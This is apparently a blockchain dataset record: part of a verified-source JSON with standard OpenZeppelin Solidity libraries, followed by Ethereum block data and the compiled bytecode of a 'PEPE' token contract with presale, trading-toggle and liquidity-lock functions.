must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,493,259
1739dc69aab9ff59ac80e67216a47794f909f61e41505d037bfb91baae575591
e1eb3485de04a1626ed2a6aff670bbde76cfb4efd9eaaa9643f12ac2a7e175a0
d5d3458517a984659ce8567385746afc7dbe64e9
d5d3458517a984659ce8567385746afc7dbe64e9
63ed382f00254cd6685269e84f3dd910aa46a0f1
6080604052600a805460ff60a01b191690553480156200001e57600080fd5b50604051620019d9380380620019d98339810160408190526200004191620001ca565b60046200004f898262000314565b5060056200005e888262000314565b5060018690556002829055600a80546001600160a01b0383166001600160a01b03199182161790915560068054909116321790556007805462ff00ff60a01b1916600160b01b179055600884905530600090815260208190526040902085905583620000cb8688620003e0565b620000d79190620003e0565b3260009081526020819052604090205550506007805460ff60a81b1916905560095550620004089350505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200012d57600080fd5b81516001600160401b03808211156200014a576200014a62000105565b604051601f8301601f19908116603f0116810190828211818310171562000175576200017562000105565b816040528381526020925086838588010111156200019257600080fd5b600091505b83821015620001b6578582018301518183018401529082019062000197565b600093810190920192909252949350505050565b600080600080600080600080610100898b031215620001e857600080fd5b88516001600160401b03808211156200020057600080fd5b6200020e8c838d016200011b565b995060208b01519150808211156200022557600080fd5b50620002348b828c016200011b565b97505060408901519550606089015194506080890151935060a0890151925060c0890151915060e089015160018060a01b03811681146200027457600080fd5b809150509295985092959890939650565b600181811c908216806200029a57607f821691505b602082108103620002bb57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200030f57600081815260208120601f850160051c81016020861015620002ea5750805b601f850160051c820191505b818110156200030b57828155600101620002f6565b5050505b505050565b81516001600160401b0381111562000330576200033062000105565b620003488162000341845462000285565b84620002c1565b602080601f831160018114620003805760008415620003675750858301515b600019600386901b1c1916600185901b1785556200030b565b600085815260208120601f198616915b82811015620003b15788860151825594840194600190910190840162000390565b5085821015620003d05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b818103818111156200040257634e487b7160e01b600052601160045260246000fd5b92915050565b6115c180620004186000396000f3fe6080604052600436106101b75760003560e01c8063715018a6116100ec578063ae19139e1161008a578063d79875eb11610064578063d79875eb146104ee578063d944392314610501578063d96a094a14610522578063f275f64b1461053557600080fd5b8063ae19139e14610498578063c02d900f146104b8578063cc1776d3146104d857600080fd5b80638da5cb5b116100c65780638da5cb5b1461043057806395d89b41146104505780639a540abf14610465578063a9059cbb1461047857600080fd5b8063715018a6146103e45780637ec18cf6146103f957806382247ec01461041a57600080fd5b806327de2e85116101595780635d0044ca116101335780635d0044ca1461035957806365029d821461037957806367b9a2861461039957806370a08231146103ae57600080fd5b806327de2e85146102e3578063313ce567146103055780635b8bec551461032157600080fd5b806311106ee21161019557806311106ee21461024e57806312a54b621461027c5780631693e8d4146102ad57806318160ddd146102ce57600080fd5b806304c0c476146101bc57806306fdde03146101f35780630902f1ac14610215575b600080fd5b3480156101c857600080fd5b506003546101d99063ffffffff1681565b60405163ffffffff90911681526020015b60405180910390f35b3480156101ff57600080fd5b50610208610555565b6040516101ea91906111ed565b34801561022157600080fd5b50610239306000908152602081905260409020544791565b604080519283526020830191909152016101ea565b34801561025a57600080fd5b5061026e610269366004611250565b6105e7565b6040519081526020016101ea565b34801561028857600080fd5b5060075461029d90600160b01b900460ff1681565b60405190151581526020016101ea565b3480156102b957600080fd5b5060075461029d90600160a01b900460ff1681565b3480156102da57600080fd5b5060015461026e565b3480156102ef57600080fd5b506103036102fe36600461127c565b61064e565b005b34801561031157600080fd5b50604051601281526020016101ea565b34801561032d57600080fd5b50600754610341906001600160a01b031681565b6040516001600160a01b0390911681526020016101ea565b34801561036557600080fd5b506103036103743660046112a9565b6106f7565b34801561038557600080fd5b506103036103943660046112ef565b610726565b3480156103a557600080fd5b50610303610846565b3480156103ba57600080fd5b5061026e6103c93660046113b4565b6001600160a01b031660009081526020819052604090205490565b3480156103f057600080fd5b50610303610929565b34801561040557600080fd5b50600a5461029d90600160a01b900460ff1681565b34801561042657600080fd5b5061026e60025481565b34801561043c57600080fd5b50600654610341906001600160a01b031681565b34801561045c57600080fd5b50610208610965565b61030361047336600461127c565b610974565b34801561048457600080fd5b5061029d6104933660046113cf565b610afe565b3480156104a457600080fd5b506103036104b33660046113f9565b610b6c565b3480156104c457600080fd5b506103036104d33660046112a9565b610bb4565b3480156104e457600080fd5b5061026e60095481565b6103036104fc366004611414565b610c5a565b34801561050d57600080fd5b5060075461029d90600160a81b900460ff1681565b6103036105303660046112a9565b610e7c565b34801561054157600080fd5b506103036105503660046113f9565b610fea565b60606004805461056490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461059090611436565b80156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b5050505050905090565b6000806000610603306000908152602081905260409020544791565b915091508315610634576106178583611486565b6106218287611499565b61062b91906114b0565b92505050610648565b61063e8582611486565b6106218387611499565b92915050565b6007546001600160a01b031633146106815760405162461bcd60e51b8152600401610678906114d2565b60405180910390fd5b60035463ffffffff8083169116106106db5760405162461bcd60e51b815260206004820152601a60248201527f596f752063616e27742073686f7274656e206475726174696f6e0000000000006044820152606401610678565b6003805463ffffffff191663ffffffff92909216919091179055565b6006546001600160a01b031633146107215760405162461bcd60e51b815260040161067890611514565b600255565b6006546001600160a01b031633146107505760405162461bcd60e51b815260040161067890611514565b600a54600160a01b900460ff16156107aa5760405162461bcd60e51b815260206004820152601760248201527f50726573616c6520616c726561647920656e61626c65640000000000000000006044820152606401610678565b600081516008546107bb91906114b0565b905060005b825181101561082e57816000808584815181106107df576107df611549565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008282546108169190611486565b909155508190506108268161155f565b9150506107c0565b5050600a805460ff60a01b1916600160a01b17905550565b6007546001600160a01b031633146108705760405162461bcd60e51b8152600401610678906114d2565b60035463ffffffff1643116108ba5760405162461bcd60e51b815260206004820152601060248201526f131a5c5d5a591a5d1e481b1bd8dad95960821b6044820152606401610678565b6007805460ff60a01b1916905560405133904780156108fc02916000818181858888f193505050501580156108f3573d6000803e3d6000fd5b506040514781527f9a5a8a32afd899e7f95003c6e21c9fab2d50e11992439d14472229180c60c7aa9060200160405180910390a1565b6006546001600160a01b031633146109535760405162461bcd60e51b815260040161067890611514565b600680546001600160a01b0319169055565b60606005805461056490611436565b6006546001600160a01b0316331461099e5760405162461bcd60e51b815260040161067890611514565b600754600160a81b900460ff16156109f85760405162461bcd60e51b815260206004820152601760248201527f4c697175696469747920616c72656164792061646465640000000000000000006044820152606401610678565b6007805460ff60a81b1916600160a81b17905534610a465760405162461bcd60e51b815260206004820152600b60248201526a139bc8115512081cd95b9d60aa1b6044820152606401610678565b8063ffffffff164310610a925760405162461bcd60e51b8152602060048201526014602482015273426c6f636b206e756d62657220746f6f206c6f7760601b6044820152606401610678565b6003805463ffffffff831663ffffffff199091168117909155600780546001600160a81b0319163317600160a01b179055604080519182523460208301527f0c6c8102f3ac634c5fb327ba1a5d5c18030294d9f5cc309afa9e8a9020a77175910160405180910390a150565b6000306001600160a01b03841603610b585760405162461bcd60e51b815260206004820181905260248201527f5573652073656c6c2066756e6374696f6e20746f2073656c6c20746f6b656e736044820152606401610678565b610b63338484611032565b50600192915050565b6006546001600160a01b03163314610b965760405162461bcd60e51b815260040161067890611514565b60078054911515600160b01b0260ff60b01b19909216919091179055565b6006546001600160a01b03163314610bde5760405162461bcd60e51b815260040161067890611514565b6005811115610c555760405162461bcd60e51b815260206004820152603d60248201527f44657620776f756c64206e65766572207365742073656c6c207461782061626f60448201527f766520352077686f20746865206675636b2061726520796f75206b69640000006064820152608401610678565b600955565b600754600160a01b900460ff16610ca85760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f7420656e61626c6560701b6044820152606401610678565b6000610cb58360006105e7565b905060008111610cfd5760405162461bcd60e51b815260206004820152601360248201527253656c6c20616d6f756e7420746f6f206c6f7760681b6044820152606401610678565b80471015610d4d5760405162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742045544820696e207265736572766573000000006044820152606401610678565b610d58333085611032565b81811015610d9c5760405162461bcd60e51b81526020600482015260116024820152700a6d8d2e0e0c2ceca40e8dede40d0d2ced607b1b6044820152606401610678565b6000606460095483610dae9190611499565b610db891906114b0565b9050336108fc610dc88385611578565b6040518115909202916000818181858888f19350505050158015610df0573d6000803e3d6000fd5b50600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2b573d6000803e3d6000fd5b50604080516000808252602082018790528183018590526060820152905133917f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737919081900360800190a250505050565b600754600160a01b900460ff16610eca5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f7420656e61626c6560701b6044820152606401610678565b6000610ed73460016105e7565b600754909150600160b01b900460ff1615610f4d5760025433600090815260208190526040902054610f099083611486565b1115610f4d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b610f58303383611032565b81811015610f9c5760405162461bcd60e51b81526020600482015260116024820152700a6d8d2e0e0c2ceca40e8dede40d0d2ced607b1b6044820152606401610678565b604080513481526000602082018190528183015260608101839052905133917f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737919081900360800190a25050565b6006546001600160a01b031633146110145760405162461bcd60e51b815260040161067890611514565b60078054911515600160a01b0260ff60a01b19909216919091179055565b336000908152600b60205260409020544363ffffffff909116036110b25760405162461bcd60e51b815260206004820152603160248201527f596f752063616e2774206d616b652074776f207472616e73616374696f6e7320604482015270696e207468652073616d6520626c6f636b60781b6064820152608401610678565b336000908152600b60209081526040808320805463ffffffff19164363ffffffff161790556001600160a01b0386168352908290529020548111156111485760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610678565b6001600160a01b03808416600090815260208190526040902080548390039055821661117c5760018054829003905561119b565b6001600160a01b03821660009081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111e091815260200190565b60405180910390a3505050565b600060208083528351808285015260005b8181101561121a578581018301518582016040015282016111fe565b506000604082860101526040601f19601f8301168501019250505092915050565b8035801515811461124b57600080fd5b919050565b6000806040838503121561126357600080fd5b823591506112736020840161123b565b90509250929050565b60006020828403121561128e57600080fd5b813563ffffffff811681146112a257600080fd5b9392505050565b6000602082840312156112bb57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461124b57600080fd5b6000602080838503121561130257600080fd5b823567ffffffffffffffff8082111561131a57600080fd5b818501915085601f83011261132e57600080fd5b813581811115611340576113406112c2565b8060051b604051601f19603f83011681018181108582111715611365576113656112c2565b60405291825284820192508381018501918883111561138357600080fd5b938501935b828510156113a857611399856112d8565b84529385019392850192611388565b98975050505050505050565b6000602082840312156113c657600080fd5b6112a2826112d8565b600080604083850312156113e257600080fd5b6113eb836112d8565b946020939093013593505050565b60006020828403121561140b57600080fd5b6112a28261123b565b6000806040838503121561142757600080fd5b50508035926020909101359150565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561064857610648611470565b808202811582820484141761064857610648611470565b6000826114cd57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526022908201527f596f7520617265206e6f7420746865206c69717569646974792070726f76696460408201526132b960f11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161157157611571611470565b5060010190565b818103818111156106485761064861147056fea26469706673582212209e146a85550afb4935b88177b7ef5c531c8c81a3973c5725cccaf454d91edf8a64736f6c634300081400330000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000d3c21bcecceda1000000000000000000000000000000000000000000000000005f4a8c8375d155400000000000000000000000000000000000000000000000005f4a8c8375d155400000000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000043c33c1937564800000000000000000000000000000d5d3458517a984659ce8567385746afc7dbe64e90000000000000000000000000000000000000000000000000000000000000004504550450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045045504500000000000000000000000000000000000000000000000000000000
6080604052600436106101b75760003560e01c8063715018a6116100ec578063ae19139e1161008a578063d79875eb11610064578063d79875eb146104ee578063d944392314610501578063d96a094a14610522578063f275f64b1461053557600080fd5b8063ae19139e14610498578063c02d900f146104b8578063cc1776d3146104d857600080fd5b80638da5cb5b116100c65780638da5cb5b1461043057806395d89b41146104505780639a540abf14610465578063a9059cbb1461047857600080fd5b8063715018a6146103e45780637ec18cf6146103f957806382247ec01461041a57600080fd5b806327de2e85116101595780635d0044ca116101335780635d0044ca1461035957806365029d821461037957806367b9a2861461039957806370a08231146103ae57600080fd5b806327de2e85146102e3578063313ce567146103055780635b8bec551461032157600080fd5b806311106ee21161019557806311106ee21461024e57806312a54b621461027c5780631693e8d4146102ad57806318160ddd146102ce57600080fd5b806304c0c476146101bc57806306fdde03146101f35780630902f1ac14610215575b600080fd5b3480156101c857600080fd5b506003546101d99063ffffffff1681565b60405163ffffffff90911681526020015b60405180910390f35b3480156101ff57600080fd5b50610208610555565b6040516101ea91906111ed565b34801561022157600080fd5b50610239306000908152602081905260409020544791565b604080519283526020830191909152016101ea565b34801561025a57600080fd5b5061026e610269366004611250565b6105e7565b6040519081526020016101ea565b34801561028857600080fd5b5060075461029d90600160b01b900460ff1681565b60405190151581526020016101ea565b3480156102b957600080fd5b5060075461029d90600160a01b900460ff1681565b3480156102da57600080fd5b5060015461026e565b3480156102ef57600080fd5b506103036102fe36600461127c565b61064e565b005b34801561031157600080fd5b50604051601281526020016101ea565b34801561032d57600080fd5b50600754610341906001600160a01b031681565b6040516001600160a01b0390911681526020016101ea565b34801561036557600080fd5b506103036103743660046112a9565b6106f7565b34801561038557600080fd5b506103036103943660046112ef565b610726565b3480156103a557600080fd5b50610303610846565b3480156103ba57600080fd5b5061026e6103c93660046113b4565b6001600160a01b031660009081526020819052604090205490565b3480156103f057600080fd5b50610303610929565b34801561040557600080fd5b50600a5461029d90600160a01b900460ff1681565b34801561042657600080fd5b5061026e60025481565b34801561043c57600080fd5b50600654610341906001600160a01b031681565b34801561045c57600080fd5b50610208610965565b61030361047336600461127c565b610974565b34801561048457600080fd5b5061029d6104933660046113cf565b610afe565b3480156104a457600080fd5b506103036104b33660046113f9565b610b6c565b3480156104c457600080fd5b506103036104d33660046112a9565b610bb4565b3480156104e457600080fd5b5061026e60095481565b6103036104fc366004611414565b610c5a565b34801561050d57600080fd5b5060075461029d90600160a81b900460ff1681565b6103036105303660046112a9565b610e7c565b34801561054157600080fd5b506103036105503660046113f9565b610fea565b60606004805461056490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461059090611436565b80156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b5050505050905090565b6000806000610603306000908152602081905260409020544791565b915091508315610634576106178583611486565b6106218287611499565b61062b91906114b0565b92505050610648565b61063e8582611486565b6106218387611499565b92915050565b6007546001600160a01b031633146106815760405162461bcd60e51b8152600401610678906114d2565b60405180910390fd5b60035463ffffffff8083169116106106db5760405162461bcd60e51b815260206004820152601a60248201527f596f752063616e27742073686f7274656e206475726174696f6e0000000000006044820152606401610678565b6003805463ffffffff191663ffffffff92909216919091179055565b6006546001600160a01b031633146107215760405162461bcd60e51b815260040161067890611514565b600255565b6006546001600160a01b031633146107505760405162461bcd60e51b815260040161067890611514565b600a54600160a01b900460ff16156107aa5760405162461bcd60e51b815260206004820152601760248201527f50726573616c6520616c726561647920656e61626c65640000000000000000006044820152606401610678565b600081516008546107bb91906114b0565b905060005b825181101561082e57816000808584815181106107df576107df611549565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008282546108169190611486565b909155508190506108268161155f565b9150506107c0565b5050600a805460ff60a01b1916600160a01b17905550565b6007546001600160a01b031633146108705760405162461bcd60e51b8152600401610678906114d2565b60035463ffffffff1643116108ba5760405162461bcd60e51b815260206004820152601060248201526f131a5c5d5a591a5d1e481b1bd8dad95960821b6044820152606401610678565b6007805460ff60a01b1916905560405133904780156108fc02916000818181858888f193505050501580156108f3573d6000803e3d6000fd5b506040514781527f9a5a8a32afd899e7f95003c6e21c9fab2d50e11992439d14472229180c60c7aa9060200160405180910390a1565b6006546001600160a01b031633146109535760405162461bcd60e51b815260040161067890611514565b600680546001600160a01b0319169055565b60606005805461056490611436565b6006546001600160a01b0316331461099e5760405162461bcd60e51b815260040161067890611514565b600754600160a81b900460ff16156109f85760405162461bcd60e51b815260206004820152601760248201527f4c697175696469747920616c72656164792061646465640000000000000000006044820152606401610678565b6007805460ff60a81b1916600160a81b17905534610a465760405162461bcd60e51b815260206004820152600b60248201526a139bc8115512081cd95b9d60aa1b6044820152606401610678565b8063ffffffff164310610a925760405162461bcd60e51b8152602060048201526014602482015273426c6f636b206e756d62657220746f6f206c6f7760601b6044820152606401610678565b6003805463ffffffff831663ffffffff199091168117909155600780546001600160a81b0319163317600160a01b179055604080519182523460208301527f0c6c8102f3ac634c5fb327ba1a5d5c18030294d9f5cc309afa9e8a9020a77175910160405180910390a150565b6000306001600160a01b03841603610b585760405162461bcd60e51b815260206004820181905260248201527f5573652073656c6c2066756e6374696f6e20746f2073656c6c20746f6b656e736044820152606401610678565b610b63338484611032565b50600192915050565b6006546001600160a01b03163314610b965760405162461bcd60e51b815260040161067890611514565b60078054911515600160b01b0260ff60b01b19909216919091179055565b6006546001600160a01b03163314610bde5760405162461bcd60e51b815260040161067890611514565b6005811115610c555760405162461bcd60e51b815260206004820152603d60248201527f44657620776f756c64206e65766572207365742073656c6c207461782061626f60448201527f766520352077686f20746865206675636b2061726520796f75206b69640000006064820152608401610678565b600955565b600754600160a01b900460ff16610ca85760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f7420656e61626c6560701b6044820152606401610678565b6000610cb58360006105e7565b905060008111610cfd5760405162461bcd60e51b815260206004820152601360248201527253656c6c20616d6f756e7420746f6f206c6f7760681b6044820152606401610678565b80471015610d4d5760405162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742045544820696e207265736572766573000000006044820152606401610678565b610d58333085611032565b81811015610d9c5760405162461bcd60e51b81526020600482015260116024820152700a6d8d2e0e0c2ceca40e8dede40d0d2ced607b1b6044820152606401610678565b6000606460095483610dae9190611499565b610db891906114b0565b9050336108fc610dc88385611578565b6040518115909202916000818181858888f19350505050158015610df0573d6000803e3d6000fd5b50600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2b573d6000803e3d6000fd5b50604080516000808252602082018790528183018590526060820152905133917f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737919081900360800190a250505050565b600754600160a01b900460ff16610eca5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f7420656e61626c6560701b6044820152606401610678565b6000610ed73460016105e7565b600754909150600160b01b900460ff1615610f4d5760025433600090815260208190526040902054610f099083611486565b1115610f4d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b610f58303383611032565b81811015610f9c5760405162461bcd60e51b81526020600482015260116024820152700a6d8d2e0e0c2ceca40e8dede40d0d2ced607b1b6044820152606401610678565b604080513481526000602082018190528183015260608101839052905133917f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737919081900360800190a25050565b6006546001600160a01b031633146110145760405162461bcd60e51b815260040161067890611514565b60078054911515600160a01b0260ff60a01b19909216919091179055565b336000908152600b60205260409020544363ffffffff909116036110b25760405162461bcd60e51b815260206004820152603160248201527f596f752063616e2774206d616b652074776f207472616e73616374696f6e7320604482015270696e207468652073616d6520626c6f636b60781b6064820152608401610678565b336000908152600b60209081526040808320805463ffffffff19164363ffffffff161790556001600160a01b0386168352908290529020548111156111485760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610678565b6001600160a01b03808416600090815260208190526040902080548390039055821661117c5760018054829003905561119b565b6001600160a01b03821660009081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111e091815260200190565b60405180910390a3505050565b600060208083528351808285015260005b8181101561121a578581018301518582016040015282016111fe565b506000604082860101526040601f19601f8301168501019250505092915050565b8035801515811461124b57600080fd5b919050565b6000806040838503121561126357600080fd5b823591506112736020840161123b565b90509250929050565b60006020828403121561128e57600080fd5b813563ffffffff811681146112a257600080fd5b9392505050565b6000602082840312156112bb57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461124b57600080fd5b6000602080838503121561130257600080fd5b823567ffffffffffffffff8082111561131a57600080fd5b818501915085601f83011261132e57600080fd5b813581811115611340576113406112c2565b8060051b604051601f19603f83011681018181108582111715611365576113656112c2565b60405291825284820192508381018501918883111561138357600080fd5b938501935b828510156113a857611399856112d8565b84529385019392850192611388565b98975050505050505050565b6000602082840312156113c657600080fd5b6112a2826112d8565b600080604083850312156113e257600080fd5b6113eb836112d8565b946020939093013593505050565b60006020828403121561140b57600080fd5b6112a28261123b565b6000806040838503121561142757600080fd5b50508035926020909101359150565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561064857610648611470565b808202811582820484141761064857610648611470565b6000826114cd57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526022908201527f596f7520617265206e6f7420746865206c69717569646974792070726f76696460408201526132b960f11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161157157611571611470565b5060010190565b818103818111156106485761064861147056fea26469706673582212209e146a85550afb4935b88177b7ef5c531c8c81a3973c5725cccaf454d91edf8a64736f6c63430008140033
1
19,493,261
70e05c0364b82c03c3bf84f0fe53d55ca9c89277a5dde3698db6c82520c53755
